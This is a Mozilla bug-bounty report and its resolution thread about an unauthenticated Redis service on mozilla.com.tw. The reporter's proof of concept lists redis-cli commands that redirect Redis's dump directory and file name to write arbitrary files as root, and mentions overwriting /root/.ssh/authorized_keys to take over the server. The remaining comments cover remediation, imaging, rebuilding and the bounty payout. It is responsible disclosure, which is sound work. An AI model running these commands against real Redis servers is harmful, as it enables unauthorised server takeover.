Closed
Bug 1282388
Opened 10 years ago
Closed 10 years ago
Write access in mozilla.com.tw with root privileges
Categories
(Websites :: Other, defect)
Websites
Other
Tracking
(Not tracked)
RESOLVED
FIXED
People
(Reporter: infosecurity, Assigned: nli)
References
()
Details
(Keywords: reporter-external, sec-high, wsec-servermisconfig, Whiteboard: [reporter-external] [web-bounty-form] [verif?])
Attachments
(1 file)
|
52.00 KB,
image/png
|
Details |
Vulnerability: Insufficient authorization in Redis db service
Severity: Critical
Description: The vulnerability allows to connect remotely without authorization, change the working directory of the program and the name of the dump file. This allows evil users to write RDB Redis files at random paths. The vulnerability is possible due to insecure Redis configuration (lack of authorization).
Attack scenario: An unauthenticated, remote attacker can write/rewrite arbitrary files in server's filesystem with root privileges.
PoC (how to reproduce steps):
###here it is a file "foo2.txt" I have written to /etc/ as a test
# redis-cli -h mozilla.com.tw flushall (remove current keys and write data from file)
OK
# cat foo2.txt | redis-cli -h mozilla.com.tw -x set crackit
OK
# redis-cli -h mozilla.com.tw
###Set an arbitrary working directory
mozilla.com.tw:6379> config set dir /etc/
OK
mozilla.com.tw:6379> config get dir
1) "dir"
2) "/etc"
###set data base name
mozilla.com.tw:6379> config set dbfilename "bug_bounty.txt"
OK
mozilla.com.tw:6379> save
OK
Security impact: Writing access to the victim server with root privileges. Possible full control of the victim server by replacing original authorized_keys (can be set as data base name) file in /root/.ssh/ directory (can be set as working directory).
Remediation: updating Redis to the version which allows to set up an authentication mechanism, set a restricted access to Redis.
NB: By the time I started a testing process, current working directory had already been set to /root/.ssh/
Flags: sec-bounty?
| Reporter | ||
Comment 1•10 years ago
|
||
| Reporter | ||
Comment 2•10 years ago
|
||
So, evidence should be found on mozilla.com.tw here /etc/bug_bounty.txt
| Reporter | ||
Updated•10 years ago
|
Severity: normal → critical
Updated•10 years ago
|
Comment 4•10 years ago
|
||
Jshen/NLI,
There is an error in the configuration file, the following line is commented out and it shouldn't be.
bind 127.0.0.1
Please needinfo me if you can report that the issue is resolved or if you need further assistance.
I'm currently in GMT+2 timezone, will keep an eye out for your reply
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(nli)
Flags: needinfo?(jshen)
Comment 5•10 years ago
|
||
The correct remediation for this system is to decommission and rebuild, we have to assume that someone else has found and exploited this system already.
Please preserve a copy of the disk image
https://www.linode.com/docs/migrate-to-linode/disk-images/copying-a-disk-image-over-ssh
and we will coordinate a way for you to get us the image.
Shutdown the site, replace it with a fresh build with correctly configured redis
Please examine the system for trust relationships or credentials to any other systems, for example SSH keys, login/passwords, etc. If any are found, please let me know so we can rotate them.
Updated•10 years ago
|
Flags: needinfo?(jshen)
| Assignee | ||
Updated•10 years ago
|
Flags: needinfo?(nli)
| Assignee | ||
Comment 6•10 years ago
|
||
Uncommented bind 127.0.0.1 and restarted redis server.
Keep working on the image and rebuild server.
| Assignee | ||
Updated•10 years ago
|
Flags: needinfo?(amuntner)
Comment 7•10 years ago
|
||
Thanks nli! Were you able to get a disk image?
Since you made the change I'd like to have it preserved sooner than later in case the server was compromised already and the attacker notices, even though my suspicion is that if someone else broke in they'd close the redis hole behind them.
Are there any other .tw servers that might have redis similarly configured?
Flags: needinfo?(amuntner)
| Reporter | ||
Comment 8•10 years ago
|
||
Hello, guys! How is it going?
If you need any help from my side - feel free to contact me!
Looking forward to being rewarded as well)
Comment 9•10 years ago
|
||
Thanks Aleh.
Redis should no longer be accessible, we're getting ready to replace the server with a freshly built one.
We are a little backed up on bounty bugs but getting caught up. This was a great find, thanks again, you should hear back from us within a week or two.
| Reporter | ||
Comment 10•10 years ago
|
||
Thanks!
Comment 11•10 years ago
|
||
Assigning bug based on comments. Is this bug "fixed" now, or are you waiting until the server is replaced fully for that?
Assignee: nobody → nli
Flags: needinfo?(amuntner)
| Assignee | ||
Comment 12•10 years ago
|
||
Have the image created and stored at other server, which credential sent over IRC to Adam.
Sorry for late but please be aware that it's a running server with 50k daily users that can't be simply taken offline.
Also for your information, it's the only server what we host that running redis service and an isolated server that doesn't connect to any infra network.
Keep working on replacing a fresh build server.
Shall there have any question, please let me know.
Thank you very much.
Comment 13•10 years ago
|
||
Thanks NLI,
I am re-assigning a risk of high since the server is used by many people but not critical to the operation of Mozilla, downtime would be inconvenience to many but not a show-stopper for Mozilla.
Flags: needinfo?(amuntner)
Keywords: sec-critical → sec-high
Updated•10 years ago
|
Flags: sec-bounty? → sec-bounty+
| Reporter | ||
Comment 14•10 years ago
|
||
Hello, guys!
Great to hear that Flags: sec-bounty? → sec-bounty+
Thank you for your time.
What steps should I take further to get paid ?
| Reporter | ||
Comment 15•10 years ago
|
||
Got an email from billing.
Thanks!
| Reporter | ||
Comment 16•10 years ago
|
||
Hello, guys!
Could I disclose the following information?
"Today we awarded you a $3000.00 USD Mozilla Security Bug Bounty for your
help on Bug 1282388 - write access in mozilla server with root privileges"
Comment 17•10 years ago
|
||
Aleh, please wait until the bug is marked RESOLVED-FIXED, it's currently still open.
Comment 18•10 years ago
|
||
NLI, can you let us know the status of the mozilla.com.tw server image replacement?
Thank you,
Adam
Flags: needinfo?(nli)
| Reporter | ||
Comment 19•10 years ago
|
||
Sure.
Updated•10 years ago
|
Status: NEW → ASSIGNED
| Assignee | ||
Updated•10 years ago
|
Flags: needinfo?(jshen)
| Assignee | ||
Updated•10 years ago
|
Flags: needinfo?(nli)
| Assignee | ||
Comment 21•10 years ago
|
||
Hi all,
We are under the process to sunset www.mozilla.com.tw by the end of October.
What we have done is patching the redis vulnerability right after the bug filed. To be cautious, we took down the service - redis later. Then created the server image and sent it over IRC to Adam(:adamm) as requested on bug.
So far we have rebuilt the server and were replicating all the services on old server, which basically has been migrated and under test, to the new one.
What we are going to do is to resign the SSL certificate and redirect the DNS resolve to new host once we pick up everything there.
Hopefully we can complete migrating to the new instance and shut the old one down by the end of this following week, which due to the Mid-Autumn festival holiday leaves 3 days for us; that is it might last to the Tuesday after next.
FYR. This host is completely isolated from Mozilla infra network and none of any account relates to corp account; yet for sake of security, the admin password on server has been changed the second got patched just in case.
Sorry about the issue, we will try to make it fix as soon as possible.
Thank you very much.
Comment 22•10 years ago
|
||
Thanks for the update [:nli].
Can I ask for a couple things?
1) A link to the server image? ([:adamm] is on PTO)
2) Can we do a review of the server and it's config before the migration?
Comment 23•10 years ago
|
||
(In reply to Jeff Bryner [:jeff] (use NEEDINFO) from comment #22)
> Thanks for the update [:nli].
>
> Can I ask for a couple things?
>
> 1) A link to the server image? ([:adamm] is on PTO)
> 2) Can we do a review of the server and it's config before the migration?
I should clarify; a private link ;-] (i.e. not in this bug)
| Assignee | ||
Comment 24•10 years ago
|
||
(In reply to Jeff Bryner [:jeff] (use NEEDINFO) from comment #22)
> Thanks for the update [:nli].
>
> Can I ask for a couple things?
>
> 1) A link to the server image? ([:adamm] is on PTO)
Sent credential/location over IRC to you.
> 2) Can we do a review of the server and it's config before the migration?
Sure. The credential granted as sudoer.
Thanks.
| Assignee | ||
Comment 25•10 years ago
|
||
Hello Jeff,
The server basically has finished data and services migration.
I'm going to re-keying SSL certificate and modified the DNS records, including A and DKIM TXT later.
Thus, I would like to know
1. how's the process of server review and it's configs?
2. May I delete the old server image?
Thanks!
Flags: needinfo?(jbryner)
Comment 26•10 years ago
|
||
Thanks for the update.
Is it ok with you to have Jonathan Claudius take a look at the new server?
Flags: needinfo?(jbryner)
| Assignee | ||
Comment 27•10 years ago
|
||
Sure.
The same credential I sent you over IRC the other day unless you like me to create another account for Jonathan. :)
Thank you.
| Assignee | ||
Updated•10 years ago
|
Flags: needinfo?(jclaudius)
Comment 28•10 years ago
|
||
:nli can you please send me the credentials directly? (IRC/Email)
Flags: needinfo?(jclaudius)
| Assignee | ||
Comment 29•10 years ago
|
||
Email sent.
Comment 30•10 years ago
|
||
observations sent back to Li via email.
Comment 31•10 years ago
|
||
Just checking to see status on this bug, so I can report out on closed Web Bug Bounty items. Is work still underway? Actions to resolve?
Flags: needinfo?(nli)
Flags: needinfo?(jclaudius)
Comment 32•10 years ago
|
||
We're good here. Feedback provided to nli and implemented via email conversation.
Status: ASSIGNED → RESOLVED
Closed: 10 years ago
Flags: needinfo?(jclaudius)
Resolution: --- → FIXED
| Reporter | ||
Comment 33•10 years ago
|
||
Hello, guys!
Thank you for your work.
I've got two questions:
1) Could I reveal this bit of information: "We decided to award you a $3000.00 USD Mozilla Security Bug Bounty for your help on Bug 1282388 - 'write access to Mozilla server with root privileges'"
2)And could you place my name into your hall of fame (as Oleg Boytsev)?
https://www.mozilla.org/en-US/security/bug-bounty/hall-of-fame/
Thank you in advance!!
Comment 34•10 years ago
|
||
Yes on both counts.
| Assignee | ||
Updated•10 years ago
|
Flags: needinfo?(nli)
Updated•10 years ago
|
Group: websites-security
Updated•2 years ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•